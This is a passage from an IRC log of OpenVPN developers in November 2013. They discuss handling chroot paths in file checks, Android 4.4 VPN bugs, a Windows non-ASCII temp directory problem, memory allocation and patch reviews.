the missing path is a "hybrid" of 2 12:36 <@pekster> I clarified that last one in my patch description/email, but I can run through this again, probably later tonight (US time) when I actually get FOSS hacking time :) 12:37 <@dazo> pekster: I don't understand why you loose that overview of full path ... if you pass the pull path (including chroot) to check_fileaccess() and do the error reporting there instead 12:37 <@dazo> s/pull/full/ 12:37 <@cron2> pekster: we might want to have two wrapper functions ("what the rest of OpenVPN does in these cases") - one that is "_chroot()" and the other one that isn't, and the actual lower level function can then be right what you have 12:37 <@pekster> Ability to include char * extra_msg 12:37 <@pekster> And yea, we can do that cron2, but that does change the syntax for blah_chroot() vs blah() 12:38 <@cron2> dazo: it will complain about "/some/path/tmp" not being found, but not tell you that this is due to "chroot /some/dir + --tmpdir /tmp" 12:38 <@pekster> RIght 12:38 <@pekster> And the /some and /path/tmp will be provided by the user, but not the /some/path/tmp 12:38 <@cron2> pekster: yes, it will, but it will avoid having to carry around an extra flag and the options parameter everywhere 12:38 <@pekster> Um, we already need to do that for the chroot stuff 12:38 <@cron2> pekster: but only for callers where you have INCHROOT 12:38 <@pekster> Or are we going to pass in a char * now?? 12:39 <@dazo> I need to look at the code again, to see if I understand you guys correctly 12:39 <@cron2> so one function would be "_chroot(..., options)", and the other would be "asbefore(...)", becoming a wrapper for "_dotherealwork(..., NULL)" 12:39 <@pekster> You're missing the script stuff though.. 12:39 <@cron2> just thinking out loud 12:39 * dazo need to focus on down-root, before he looses the overview again 12:39 <@cron2> pekster: indeed I am. I'm not sure if it all makes sense or will just make it more complicated 12:39 <@pekster> add_option() calls set_user_script() which callls check_cmd_access() which calls check_file_access() 12:40 <@pekster> And _that_ is the mess 12:40 <@pekster> We could duplicate each of those functions to include a _chroot varient, or just include a bitmask option we include and pass in a tiny pointer instead of re-working that entire stack call 12:41 <@pekster> I'm happy to re-work it if that's what we want, but let's verify it's really what we want before I spend the time doing it ;) 12:41 <@pekster> More info in a clarification email tonight (really don't have time to poke at it more now) 12:41 <@cron2> I'm not sure what I want, specifically, but part of it is "nice code" :-) 12:42 <@cron2> though I'm not sure if that is an achievable goal here... 12:42 <@pekster> Right. You have your choice of 2 "somewhat bad" design options here: we need to agree on what sucks the least 12:43 * cron2 throws #197 at syzzer 12:44 <@pekster> So, if anyone does dig further before I can my email out, the little review I've been able to give it on Sunday has the stack path I just listed, plus: options_postprocess_filechecks() -> check_file_access() 12:44 <@pekster> I _think_ that's it for callers, but I might have missed a 3rd path somewhere 12:46 <@cron2> pekster: slightly related - you have an openvpn installer based on a recent 2.3 tree, right? 12:47 <@pekster> windows? Yup, several 12:47 <@cron2> (I want the reporter of trac#196 to test that, seems it's another unicode-in-tap-name issue that should be fixed now) 12:47 <@cron2> where shall I look? 12:48 <@pekster> Any of these will be fine: 12:48 <@pekster> !previews 12:48 <@cron2> ah :) 12:48 <@pekster> (I thought it looked up #openvpn's value if we used it here?) 12:48 <@pekster> Well, https://bitbucket.org/QueuingKoala/openvpn-previews/wiki 12:48 <@vpnHelper> Title: QueuingKoala / OpenVPN Previews / wiki / Home Bitbucket (at bitbucket.org) 12:49 <@cron2> pekster: no idea 12:49 <@pekster> Oh, just grab the release that's 2.3.2 + the tun-name-patch 12:50 <@cron2> no, that was "why is vpn-helper not picking these up" 14:42 <@cron2> plaisthos: could you check whether "openvpn --show-gateway" is working on your MacOS systems? (ticket #42). It works for me, but that is a 10.5 system 15:12 <@dazo> okay ... down-root patch on the way 15:22 <@dazo> cron2: I'm looking at the chroot stuff now 15:24 <@dazo> cron2, pekster: how I see it, if check_cmd_access() and check_file_access() is called with a full file path, including chroot if that's set up before calling the script ... the error message will be f.ex: "learn-address fails with '<full path>': No path to executable" .... I don't understand how that can be confusing/incorrect .... 15:25 <@dazo> so what 15:25 <@pekster> dazo: Except you're still ignoring the call path that add_option() -> set_user_script() 15:25 <@pekster> So we _still_ need to do the thing you seem to hate which is pass the options pointer in twice 15:25 <@dazo> pekster: yeah, I'm not come so far to comment that yet ;-) 15:26 <@pekster> And I haven't yet had time to verify the depth of this madness either (today's project has been hacking at some really ugly date/time/epoch stuff under Windows.. :( ) 15:26 <@dazo> set_user_script() have access to struct options * ... so if chroot is call check_cmd_access() with the full chroot path 15:27 <@dazo> but I see that not all script hooks run inside the chroot ... so I agree we need to flag that somehow ... but lets rather to that with a single "bool chroot_run" ... or something like that 15:28 <@pekster> Well, that's basically what the CHACK_INCHROOT does in my patch 15:28 * dazo cooks together a quick patch 15:28 <@pekster> I'm simply re-using the existing bitmask that exists for that; if we'd rather have a different option that's okay too 15:29 <@dazo> yeah, but I don't like that semantic too well ... because you don't want to pass the other flags down to set_user_script() 15:29 <@pekster> Except we already do today 15:30 <@pekster> CHKACC_FILE and CHKACC_INLINE for instance 15:30 <@dazo> yeah, that's calls to check_file_access() ... not check_cmd_access() and set_user_script() 15:30 <@pekster> Ah, k, gotcha 15:32 <@pekster> So your big issue is with set_user_script() passing the pointer in a few times? So yea, instead of adding in a 0/INCHROOT bitmask we later OR with the "real" bitmask, you're proposing a command wrapper along with a bool so check_file_access() can still pass a useful warning back to users? 15:32 <@pekster> That I can see, sure. A little more function/codepaths that way, but less *options passing 15:34 <@dazo> yeah, it was passing variables which didn't have a clear semantic, plus the option struct which contains far more data then really needed in check_file_access() 15:35 <@pekster> It's just a pointer to the struct ;) 15:35 <@pekster> Either way it's the same "amount of work" to the OS 15:35 <@dazo> yeah, but if you think defensive coding, you don't want to pass on more data to further down than really needed 15:36 <@pekster> Sure. The method here doesn't matter to me in the slightest, but I'd ideally like to keep the current informational text about the path being in-chroot 15:38 <@pekster> Though the options_postprocess_filechecks() is already using that bitmask field to check_file_access to define things like "this is allowed to be inline" -- I vei this as kind of the same thing 15:38 <@pekster> We're obviously not doing check_file_access_inline() for instance 15:38 <@pekster> But it also deson't need all of struct options either.. :P 15:39 <@dazo> right 15:42 <@pekster> Who-hoo, a 2nd pull request for easyrsa3. It seems people find it decently easy to hack on :). Tonight should be busy for me 15:51 <@pekster> dazo: Oh, what was the bit about MSVC being special? Does it just spew nasty warnings (which would be good to remove, obviously) or does it actually break if variable declarations aren't "near the top" ? I can't say I know a lot about MSVC's deffencies 15:52 <@dazo> it won't compile if you have declarations in the middle of a block 15:52 <@pekster> What a goofy platform :\ 15:52 <@dazo> it has to be on the top of the block 15:52 <@dazo> yeah, I hate it too ... I've been bitten so many times by that compiler I still have scars ... and that's even when I don't care about Windows at all 15:54 <@pekster> That change is another "easy" one, but I've always tried to keep my own definitions nearby what they relate to. Thanks for nothing, MSVC :P 15:54 <@pekster> Oh well, when in Rome 15:54 <@dazo> yeah 15:55 <@dazo> another ugly thing about MSVC ... you cant do struct declarations like struct blabal { .value = "xyz" }; 16:15 <@dazo> pekster: cron2: My suggestion for a chroot patch ... only compile tested 16:21 <@dazo> Hmm ... I think it can be done even a bit more clever ... I'll ponder on that tomorrow 16:35 -!- dazo is now known as dazo_afk 22:50 <@plaisthos> cron2: Thu Nov 21 05:50:42 2013 ROUTE_GATEWAY 192.168.43.1/255.255.255.0 IFACE=en1 HWADDR=e0:f8:47 --- Day changed Thu Nov 21 2013 01:51 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has joined #openvpn-devel 03:01 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has quit [Ping timeout: 246 seconds] 04:00 < syzzer> pekster: got reply from the polarssl guys, my little patch for the libz linkage issue in polarssl will be part of the next polar release :) 04:10 <@plaisthos> syzzer: whee! 04:10 <@plaisthos> syzzer: btw. I have my android 4.4 workaround in place :) 04:16 < syzzer> plaisthos: nice! Does that workaround mean that packets can 'leak' on 4.4 when switching tuns? 04:17 <@plaisthos> syzzer: yeah unfortunately 04:17 <@plaisthos> but that will only happen if your vpn config changes 04:18 < syzzer> what do you mean by vpn config? Updating routes through the VpnService I guess? 04:18 <@plaisthos> if you use ipp (or whatever it is called) then the app will continue to use the tun device 04:19 <@plaisthos> I have not found another way around the problem :/ 04:20 < syzzer> too bad :( Did you have contact with Google about this? 04:21 <@plaisthos> I submitted a bug report (http://code.google.com/p/android/issues/detail?id=62410) 04:21 <@vpnHelper> Title: Issue 62410 - android - VpnService is broken until reboot when an app tries to open two tun devices - Android Open Source Project - Issue Tracker - Google Project Hosting (at code.google.com) 04:21 < syzzer> yeah, I starred that one :p 04:23 <@plaisthos> If I had a lot of free time I would chase down the bug in the source code a submit a patch to android 04:23 <@plaisthos> oh lol 04:23 <@plaisthos> someone complains that adding 4000 routes takes 10 min 04:23 <@plaisthos> http://code.google.com/p/android/issues/detail?id=62530&q=vpnservice&colspec=ID%20Type%20Status%20Owner%20Summary%20Stars 04:23 <@vpnHelper> Title: Issue 62530 - android - VPNService on Android 4.4 has a broken addRoute() implementation - Android Open Source Project - Issue Tracker - Google Project Hosting (at code.google.com) 05:17 <@plaisthos> yeah. More bugs 05:17 <@plaisthos> ipv6 is broken .... :( 05:17 <@plaisthos> at least adding ::0/0 does do anything anymore 05:28 <@plaisthos> And I think I now the reason ... 05:29 <@plaisthos> IPv4 is probably broken in a similar way 05:29 <@plaisthos> since there is no IPv6 route in the main routing table linux thinks that there is no route to the host 05:30 <@plaisthos> the ip rule rules are not even cosidered since the packet is nevere marked 05:30 <@plaisthos> Yeah ... (tone going down) 06:43 <@cron2> plaisthos: argh 06:43 <@cron2> (thanks for the MacOS check, argh for the 4.4 IPv6 brokenness) 06:50 <@plaisthos> cron2: Ipv4 brokenness in a IPv6 only network 06:50 <@plaisthos> cron2: which is even more disturbing 06:54 <@cron2> do I look like I care for IPv4? ;-) - but right you are 06:56 <@plaisthos> I have now 3 bugs against VPNService in 4.4 %) 07:13 <@plaisthos> Would be interesting to see what happens on the T-mobile nexus 5 devices with their strange 4to6to4 nat 07:13 <@plaisthos> or whatever that is called 07:21 <@cron2> xlat464 :) 07:24 -!- dazo_afk is now known as dazo 07:31 <@plaisthos> .oO(why is the first thing google shows me a youtube video?) 07:32 <@plaisthos> Some applications and services just fail to work correctly over IPv6. IPv4 is required because of poor programming practices that referencing IPv4 specific networking APIs instead of address family agnostic APIs, signaling IPv4 literals, or failing to use DNS FQDN names instead of IPv4 literals does. 07:32 <@plaisthos> :) 07:32 <@plaisthos> there seem to be more apps like OpenVPN 07:35 <@dazo> cron2: got a little sec to eyeball this patch? http://paste.fedoraproject.org/55689/40847138/ It's my idea around the chroot patch 07:35 <@dazo> (I think I can swap a few things around and reduce it even a bit more) 07:48 <@dazo> (that patch is only compile tested ... running more tests now, with an adopted version) 07:54 <@cron2> plaisthos: OpenVPN is on the edge by requiring "udp6", but the main culprit is Skype, which flatly refuses to do IPv6 07:54 <@cron2> dazo: not right now, tonight 07:54 <@dazo> no worries 08:34 <@dazo> cron2: pekster: Okay ... my final version as an alternative to the --chroot patch ... http://paste.fedoraproject.org/55713/04434913/ 08:36 <@dazo> running basic testing now (t_client) ... and I've done some simple manual testing with --chroot .... so it seems to work fine 08:45 <@plaisthos> cron2: I will send the dual stack patches out tonight 09:35 <@dazo> syzzer: you around? 09:38 <@dazo> nm! I think I found my own answer :) 09:40 <@mattock_afk> for your amusement, here's a possibly incomplete list of Windows issues in Trac: https://community.openvpn.net/openvpn/query?status=accepted&status=assigned&status=new&status=reopened&keywords=~windows&col=id&col=summary&col=component&col=status&col=type&col=priority&col=milestone&order=priority 09:40 <@vpnHelper> Title: Custom Query – OpenVPN Community (at community.openvpn.net) 10:03 <@pekster> dazo: The patch looks nice; I'll see if I can find the time to give it a closer compile/look this afternoon/evening 10:03 <@pekster> dazo: Oh, and s/c/k/ in my name :P 10:08 <@dazo> whoops! sorry'bout that 10:33 <@mattock_afk> d12fk: https://community.openvpn.net/openvpn/ticket/278 seems to be present, even with your patch 10:33 <@vpnHelper> Title: #278 (OpenVPN client fail to connect to server because of invalid temp path) – OpenVPN Community (at community.openvpn.net) 10:34 <@d12fk> mattock_afk: what does the log say 10:34 <@mattock_afk> if I use openvpn-gui, nothing shows up on logs 10:34 <@mattock_afk> it just stalls 10:36 <@mattock_afk> if I try it from the command prompt, I'll get an error "Options error: Temporary directory (--tmp-dir) fails with <path>" 10:36 <@mattock_afk> where path is the path to tmp-dir, of course 10:36 <@d12fk> oh i only fixed the one auto-fetched from system settings 10:37 <@mattock_afk> took a while to test this, because I had an unrelated openvpn-build issue on my new build comp 10:37 <@d12fk> if you put it into the config file and utf-8 encode that it should also work 10:38 <@mattock_afk> let's see 10:39 <@mattock_afk> ah yes 10:39 <@mattock_afk> I used notepad++ to make the config file UTF-8 -encoded an now openvpn-gui connected just fine 10:40 <@d12fk> i think #309 is fixed 10:40 <@d12fk> that one should have been about non-ascii adapter names as well 10:40 <@mattock_afk> I'll link to the installers on build and add instructions about using UTF-8 encoded config files 10:41 <@mattock_afk> I'll see what happens if I try to use the stock 2.3.2 installer with the config file - just in case 10:42 <@d12fk> that should also work 10:42 <@d12fk> the patch is only about the tmp dir feteched from the system containing usc-2 chars 10:42 <@d12fk> ucs-2 10:43 <@d12fk> like in the bug reporters case 10:43 <@d12fk> utf-8 options came in with the utf-8 patchset (2.3?) 10:45 <@mattock_afk> stock 2.3.2 does work with an UTF-8 config file 10:46 <@mattock_afk> so just so that I understood this correctly: the reporter's problem is separate from the problem I had, i.e. config file not encoded in UTF-8? 10:46 <@mattock_afk> what I could do also is create a user account with Finnish characters in it, and see if 2.3.2 break like in Frederic's case 10:46 <@mattock_afk> and see if your fix fixes it 10:49 <@mattock_afk> doing it right now 10:53 <@d12fk> a simple ö will do 10:53 <@d12fk> or an ä will work for you =) 10:54 <@mattock_afk> I created a new user account called "ääliö", but was still be able to connect when the tmp-dir option was disabled in the config 10:54 <@mattock_afk> on 2.3.2 10:55 <@d12fk> depend on what you temp dir is 10:55 <@d12fk> could you run "echo %TEMP%" on an cmd 10:56 <@d12fk> or maybe it becomes only a problem if the temp dir is needed 10:57 <@plaisthos> tmp-dir is only needed for the server 10:57 <@plaisthos> but the checkfile will check it on startup 10:57 <@mattock_afk> echo %TEMP% 10:57 <@mattock_afk> C:\Users\LIDD1B~1\AppData\Local\Temp 10:57 <@plaisthos> (and fail if you happen to have no /tmp) 10:58 <@d12fk> hm thats obv an ascii temp 10:58 <@mattock_afk> yeah, it is 10:58 <@mattock_afk> I'm wondering how openvpn chooses the directory 10:58 <@d12fk> you could set one yourself 10:59 <@d12fk> control panel->system->properties 10:59 <@mattock_afk> ok, I'll try it 10:59 <@d12fk> it's in the advanced section 11:00 <@d12fk> there's an ev vars button at the bottom of the dislog 11:00 <@d12fk> wonder how frederic got the accented e in there 11:00 <@d12fk> maybe windows 8 thing 11:01 <@mattock_afk> env vars can also be found by right-clicking on the "Computer" icon 11:01 <@mattock_afk> that's the way I get there usually :) 11:02 <@d12fk> thats actually the same dialog, just didnt want to confuse you 11:04 <@mattock_afk> is the default value for TEMPDIR/TMPDIR %USERPROFILE%\AppData\Local\Temp ? 11:04 <@mattock_afk> I'm not sure if I've hacked at those at some earlier point 11:05 <@d12fk> yeah you'll have to replace the userprofile part for testing 11:05 <@d12fk> is ääliö really a name? 11:05 <@mattock_afk> no, it means an idiot :D 11:05 <@mattock_afk> but that "name" is useful for testing 11:05 <@d12fk> fun name for an idiot =) 11:05 <@mattock_afk> yep 11:10 <@mattock_afk> interesting... if I change %TEMPDIR% to C:\Users\ääliö\tempdir, in a command-prompt %TEMP% is C:\Users\LIDD1B~1\tempdir 11:11 <@mattock_afk> and connecting from command prompt and GUI works, using 2.3.2 11:11 <@mattock_afk> Win7 Enterprise N 64-bit 11:12 <@mattock_afk> I will link to the installers and ask Frederic to test them 11:15 <@d12fk> hm could be that the system call actually mangles to path into 8.3 again 11:15 <@d12fk> wasnt the id about win8 11:15 <@d12fk> yep: "The bug is seen on windows 8" 11:16 <@d12fk> seems win8 has given up 8.3 mangling 11:16 <@d12fk> 2.3.2 wont cut it for him then 11:16 <@d12fk> send him you openvpn.exe for testing 11:19 <@mattock_afk> done https://community.openvpn.net/openvpn/ticket/278#comment:4 11:19 <@vpnHelper> Title: #278 (OpenVPN client fail to connect to server because of invalid temp path) – OpenVPN Community (at community.openvpn.net) 11:25 <@plaisthos> dazo: Urgh. You want all other patches to break, right? 11:30 * cron2 is not merging memory-related patches from dazo anyway 11:37 <@dazo> plaisthos: heh :) well, these patches, if deemed useful, can be pulled in at a later point :) 11:57 <@cron2> ISTR that you discussed these with James. What did he say? 11:58 <@cron2> (One of the counterarguments - besides "intrusive changes that might backfire" - is that calloc() is more expensive than malloc(), and if we do *not* clear the buffer afterwards, this is memory cycles wasted. OTOH if all our allocations are followed by CLEAR() then this is moot) 12:03 <@dazo> calloc() shouldn't be more expensive on recent kernels ... as the kernel can have pre-allocated buffers for user space 12:03 <@dazo> but it requires that libc takes advantage of these features 12:04 <@cron2> dazo: you know how malloc() works - get pages from kernel for big chunks, and handle small chunks locally. So if you *alloc(30) and free() it later on, and then newly alloc(30), you'll get something that the kernel hasn't seen in the meantime 12:04 <@dazo> That's basically the difference between the ALLOC_*_CLEAR and ALLOC_* macros 12:05 <@cron2> so calloc() would have to do a memset() for "stuff that wasn't fetched from the kernel" - if it's coming from the kernel, it's nulled anyway, even for normal malloc() 12:05 <@dazo> ALLOC_*() does malloc() .... ALLOC_*_CLEAR() is malloc()+memset() 12:05 <@dazo> and CLEAR() is just memset() 12:06 <@cron2> well, converting ALLOC_*_CLEAR() to calloc() makes sense (as that has a good chance to be more effective in case of new pages)... 12:07 <@dazo> and what the gc_malloc() did, if 'clear' was set to true, was to do a memset() 12:07 <@dazo> even though, on reasonable CPUs memset() isn't necessarily that expensive ... as that's now a dedicated CPU function 12:08 <@cron2> memory access is always expensive, even if cached - it will eat your memory bandwidth that you might want to use for something else 12:17 <@d12fk> mattock_afk: btw we support utf8 files with a BOM produced by notepad now, so you dont need to point users to ++ anymore. even though its clearly better 12:20 <@d12fk> oh and btw. i have my correct email addr registered but dont recv mail from trac 12:21 <@d12fk> so it might be that users dont get mails as well when their ticket is updated 12:44 <@cron2> I get mail... strange, this 12:45 <@dazo> *grmbl* .... I can't find the doc he read about calloc() advantages over malloc() .... I know I read somewhere that the kernel can spend "spare time" to prepare memory pages to be handed of to calloc() (guaranteed to be zeroed) and malloc() (zeroed, if zerored memory region is available otherwise non-zerored) 12:45 <@dazo> but this might be Linux specific 12:49 <@mattock_afk> d12fk: what? notepad (not ++) supports UTF-8? 12:49 <@mattock_afk> I assumed it was so backwards that it didn't support anything expect some obscure Windows-specific encodings :D 12:51 <@cron2> dazo: I always assumed that this was just lazy allocation, just map a zero-filled page and copy-on-write it 12:52 <@cron2> the kernel can not (never ever) return a non-zeroed page, because that would leak to information leakage between processes. Maybe "if it belonged to you before", but even then 12:52 <@dazo> well, it is COW for sure 12:52 <@dazo> exactly 12:52 <@cron2> but indeed, using spare cycles to have a writeable page, for the COW-replaced-by-real-page, would be a speedup 12:53 <@dazo> It annoys me so much that this info is so well hidden ..... 12:54 <@cron2> Half of it is "obvious" when you spend enough time thinking about it, and the other half is "implementation details", well hidden inside libc... (or libdmalloc :) ) 12:55 <@dazo> yupp 12:56 <@dazo> and to really understand memory management code ... I sometimes feel you have to be half-insane 14:12 <@plaisthos> 15 patches out 14:45 <@cron2> yeah, arrived here :) 14:50 <@plaisthos> at my university someone decided that we need IPv6 14:51 <@plaisthos> and now we have IPv6 in our local network but without forward or reverse DNS 14:53 <@cron2> yay 14:59 <@dazo> - oldtunfd = c->c1.tuntap->fd; 14:59 <@dazo> + oldtunfd = c->c1.tuntap->fd; 14:59 <@dazo> plaisthos: ^^^ whitespace issues again? 15:00 <@dazo> that's some really odd spacing .... 15:12 <@plaisthos> dazo: well old spacing was broken 15:13 <@plaisthos> the new one is inline with openvpn style 15:13 <@plaisthos> tab as 8 space 15:13 <@plaisthos> use tab whenever possible 15:13 <@cron2> I'm not sure if I want to merge that, maybe Google can fix it quickly... 15:13 <@cron2> this particular bit of code really does not need extra options. (I can see that it is needed today, but if google can release 4.4.1 faster than we can do anything, maybe it's no longer needed) 15:14 <@plaisthos> cron2: yeah, no problem 15:15 <@plaisthos> I also went for the "quick&dirty" approach. Lettings the UI check if tun parameters change instead of building that logic into OpenVPN 15:34 <@plaisthos> cron2: let's hope so ... 15:34 <@plaisthos> cron2: Google already published a 4.4.0r2 15:43 -!- dazo is now known as dazo_afk --- Day changed Fri Nov 22 2013 02:26 < syzzer> plaisthos: do you know whether they fixes this in there? 03:19 -!- dazo_afk is now known as dazo 03:40 <@plaisthos> syzzer: not for VPN 03:41 <@plaisthos> syzzer: it is a hotfix for people with encrypted phones, 4.4 uses a different key derivation scheme and they did not check if the password was correct when upgrading the key iirc 03:42 < syzzer> whoops :p 03:43 <@plaisthos> http://code.google.com/p/android/issues/detail?id=61948 03:43 <@vpnHelper> Title: Issue 61948 - android - Android 4.4: TCP advertises incorrect MSS over VPN (using VpnService) - Android Open Source Project - Issue Tracker - Google Project Hosting (at code.google.com) 03:43 <@plaisthos> "A fix should be available in the next release." 03:43 <@plaisthos> whatever this means 11:15 <@cron2> pekster, dazo: I find dazo's patch somewhat less intrusive. I can see that the error message might not be that verbose as if you could actually tell "this patch came to be because of chroot and $option", but weighting this against code prettiness, I'm somewhat willing to let that one go 11:19 <@plaisthos> protip: Don't subscribe to popular bugs in Android bugtracker, way too many "Google, fix this now!" and "me too" comments 11:33 <@cron2> plaisthos: are your patches independent, that is, can I apply "1..x" of them and expect the result to build&run? Or do I need all 14 in one go? 11:33 * cron2 is reviewing 1/14, and that looks pretty stand-alone :) 11:36 <@cron2> there is one thing in parse_http_proxy_override() - "server" is copied with string_alloc(), while "port" is copied as-is, but in other places, ho->port is also string_alloc()ed. Is that safe? 11:41 <@cron2> otoh it *should* be... all ports are pointers to option->gc, and since all copies are read-only, copying around just the pointer should be good 11:47 <@cron2> You are in a maze of twisty little passages, all alike... 11:47 <@cron2> (figuring out the initialization of options.gc) 12:34 <@cron2> eat this, buildbots! 12:37 <@vpnHelper> RSS Update - gitrepo: Change the type of all ports in openvpn to const char* and let getaddrinfo resolve the port together with the hostname. <https://github.com/OpenVPN/openvpn/commit/076fd3e46bbbe6261317d58cc2442f8eccc927ce> 13:24 <@plaisthos> cron2: they should all work alone 13:24 <@plaisthos> cron2: but basically only the whole test is heavyly tested 13:45 <@vpnHelper> RSS Update - tickets: #346: Set tap device link status based on openvpn connection state <https://community.openvpn.net/openvpn/ticket/346> 13:56 -!- dazo is now known as dazo_afk 14:15 <@vpnHelper> RSS Update - tickets: #347: Reporting tap interface speed <https://community.openvpn.net/openvpn/ticket/347> 14:18 <@pekster> cron2: Yup, the 2nd incarnation of the chroot-fix is much more straight-forward; the loss of extra info obviously isn't that important (we could pass in a bool to the backend func, but it's probably just not worth it) 14:19 <@pekster> I suppose neither of our 2 patches do anything about specifying the chroot directive after chroot-able files, but I don't know that we can do that unless all the script checking is offloaded to a postprocess function 14:22 <@pekster> I suppose if we did care, the --chroot option could yell if any of the 'possible chroot' options are defined (non-null) when it gets processed, but that too sounds unnecessarily complicated to save a user from the edge-case where they used --chroot later and also forgot to put their file inside the chroot 14:24 <@pekster> Like, --client-connect /s/foo.sh --chroot /chroot --tls-verify /s/tls-v.sh when /s/foo.sh exists but /chroot/s/foo.sh doesn't. It'll pass startup checks, then fail when "/s/foo.sh" isn't found. Either way a fix to "that" is probably best handled as a 2nd patch if we think it's even worth fixing 14:25 <@pekster> Oh, or just a manpage note in --chroot. I like the simple fix :) 14:26 <@pekster> "Note: this option must be specified before references to files or scripts accessed within the chroot. A list of such options is as follows: ..." 14:26 <@cron2> yeah, this sounds loke a good plan 14:26 <@cron2> like 14:28 <@plaisthos> hm 14:28 <@plaisthos> for some reason openvpn compiled with polarssl hangs up on Android 14:29 <@pekster> Well, I'd just as soon warn the user somewhere, either during --chroot options process, or in the manpage. Something to make this not an edge-case only the devs know about :P 14:29 <@pekster> The main reason being that pretty much any other option set isn't order-dependent 14:29 <@cron2> manpage 14:29 <@pekster> Right, +1 :) 14:31 <@cron2> mmmh. my automated server tests with 01/14 merged failed on two tests. But in a weird way that hints at "this was just something weird on the client side, not an actual server problem" 14:32 <@cron2> ah 14:32 <@cron2> it collided with the buildbot on the same machine, fiddling with tun interfaces and routes at the very same time, so pre/post ifconfig+route did not match (because someone *else* changed it) 14:39 <@cron2> plaisthos: 02/14 brings in functional difference to print_sockaddr_ex() for the "address is not defined and PS_SHOW_PORT_IF_DEFINED" case - is that intentional? 14:39 <@cron2> (effectively PS_SHOW_PORT and PS_SHOW_PORT_IF_DEFINED become the same thing) 14:40 <@pekster> syzzer: Any problem if I open an official bug with polarssl about the 1.3 build failure? I know you fixed it and a release is in progress for that, but having a referencable bug would help downstream understand the issues. You don't have one open already, right? 14:41 <@pekster> On the plus side it'll be super-easy to close now ;) 14:45 <@cron2> plaisthos: OTOH, PS_SHOW_PORT_IF_DEFINED seems to be only used in a single place, in link_socket_init_phase2(), which I do not fully understand the implications 14:46 <@plaisthos> cron2: I have to look at the patch again 14:46 <@plaisthos> give me a sec 14:48 <@plaisthos> cron2: yes that was intentional 14:49 <@plaisthos> because I went nuts when it showed [undef]:1194 and I did not know if the client just bound to AF_INET or AF_INET6 14:50 <@plaisthos> or only showing [undef] 14:52 <@cron2> but isn't PS_SHOW_PORT_IF_DEFINED only used for the remote address in this single place? 14:54 <@plaisthos> oh just checking 15:01 <@plaisthos> that code confuses 15:01 <@plaisthos> me 15:01 <@plaisthos> the old and new one 15:01 <@cron2> lol, this is why I'm asking :-) 15:05 <@plaisthos> I am asking myself at the moment: When do I have something like remote 0.0.0.0:1194? 15:05 <@cron2> non-connected listening socket comes to mind, or UDP socket... 15:05 <@cron2> uh, no 15:06 <@cron2> those won't have a remote *port* 15:10 <@plaisthos> the old function will return [undef] anyway not matter of any flags if the addr is undefinied 15:13 <@plaisthos> so PS_SHOW_PORT_IF_DEFINED and PS_SHOW_PORT will behave exactly the same way before the patch 15:13 <@cron2> not if PS_SHOW_PORT is given, then it would add %s%d 15:13 <@cron2> no 15:13 <@cron2> if (((flags & PS_SHOW_PORT) || (addr_defined (addr) && (flags & PS_SHOW_PORT_IF_DEFINED))) 15:13 <@plaisthos> if (!addr_is_defined) { 15:13 <@plaisthos> return "[undef]"; 15:13 <@plaisthos> } 15:14 <@plaisthos> and the functions ends there 15:14 <@cron2> oh 15:14 <@cron2> good point 15:14 <@cron2> why is it having another addr_defined() check in the buf_printf() then? 15:14 <@plaisthos> this might have been borken from 2.2 to 2.3 15:15 <@plaisthos> iirc 2.3 would print " bound to local socket [undef] 15:15 * cron2 seems to remember some previous patch to print_sockaddr_ex() :-) 15:15 <@plaisthos> which is not very helpful 15:15 <@plaisthos> did I broke it? 15:15 <@plaisthos> lemme check 15:16 <@cron2> no, that code came from JuanJo :-) 15:16 <@cron2> anyway, assuming that the 2.3 code is more an accident - how do we want the 2.4 code to look like? 15:17 <@cron2> (and maybe that particular bit should go out for 2.3 as well) 15:18 <@plaisthos> Nov 22 21:27:25 hermes ovpn-snappy[27184]: UDPv6 link local (bound): [AF_INET6][undef]:1201 15:18 <@plaisthos> Nov 22 21:27:25 hermes ovpn-snappy[27184]: UDPv6 link remote: [AF_UNSPEC] 15:18 <@plaisthos> that is the way it looks with all patches 15:18 <@plaisthos> Altough I should fix the protocol printing 15:22 <@cron2> yeah, this looks quite reasonable. (I don't even have code for AF_UNSPEC yet :) ) 15:22 <@plaisthos> yeah 15:22 <@plaisthos> it does not need to yet ;) 15:22 <@cron2> so maybe the PS_SHOW_PORT_IF_DEFINED should just go, as there is no case where it makes sense 15:22 <@plaisthos> Yes 15:23 <@cron2> or maybe it does for an IPv6-only or IPv4-only socket? 15:23 <@cron2> anyway. too tired now, still fighting with a cold, bed 15:23 * cron2 waves 15:23 <@plaisthos> cron2: wave 15:25 <@plaisthos> cron2: for bound sockets you always want to know the port. Bound to [undef] instead of [undef]:1194 does not make any sense 15:25 <@plaisthos> or we do really radical change and get rid of [undef] 15:25 <@plaisthos> and instead use [::]:1194 15:26 <@plaisthos> or 0.0.0.0:1194 15:42 <@pekster> Or maybe * ? 15:42 <@pekster> Oh, non-protocol distinguishing there I suppose 16:37 <@plaisthos> pekster: yeah * as bad as [undef] 16:37 <@plaisthos> and non programmers are likeley to be confused by [AF_INET6][undef]:1201 --- Day changed Sat Nov 23 2013 01:11 <@cron2> plaisthos: agree, but these callers use PS_SHOW_PORT anyway, not ..._IF_DEFINED, so there is no disagrement 04:05 < syzzer> pekster: I don't mind you opening a official bug with polarssl, they'll just be extra happy with my little patch ;) 05:48 <@vpnHelper> RSS Update - gitrepo: external_pkcs1_sign: Support non-RSA_SIG_RAW hash_ids <https://github.com/OpenVPN/openvpn/commit/32f07c8e5b0f6ec66cfa8566cb8e97b4a6238037> || --management-external-key for PolarSSL <https://github.com/OpenVPN/openvpn/commit/38ace48c6820c611e689bc69b0cf5380bf7a8891> || Refactor tls_ctx_use_external_private_key() <https://github.com/OpenVPN/openvpn/commit/c3b2d487bc5089c8c0cf65df8e6cc2232d84b05b> 05:49 < syzzer> \o/ 05:49 <@cron2> \o/ indeed, that gets rid of 7 mails in my inbox :) 05:58 <@cron2> uhm 05:58 <@cron2> /rhome/gert/src/openvpn-maint/test-build-master/src/openvpn/../../../openvpn/src/openvpn/ssl_openssl.c:537: undefined reference to `tls_ctx_load_cert_file_ext' 05:59 <@cron2> meh! 05:59 <@cron2> has anyone actually tested that patch set with *Open*SSL? 06:07 <@plaisthos> cron2: hm 06:07 <@plaisthos> no :( 06:08 <@plaisthos> should have done :/ 06:08 <@cron2> it's not just my gentoo, it blows up on the buildslaves as well (I *should* have test-built it before pushing, but well, that's what patches on top of other patches are for) 06:11 <@plaisthos> my git ui is confusing me it does not show anything that touch tls_ctx_load_cert_file_ext 06:11 <@cron2> 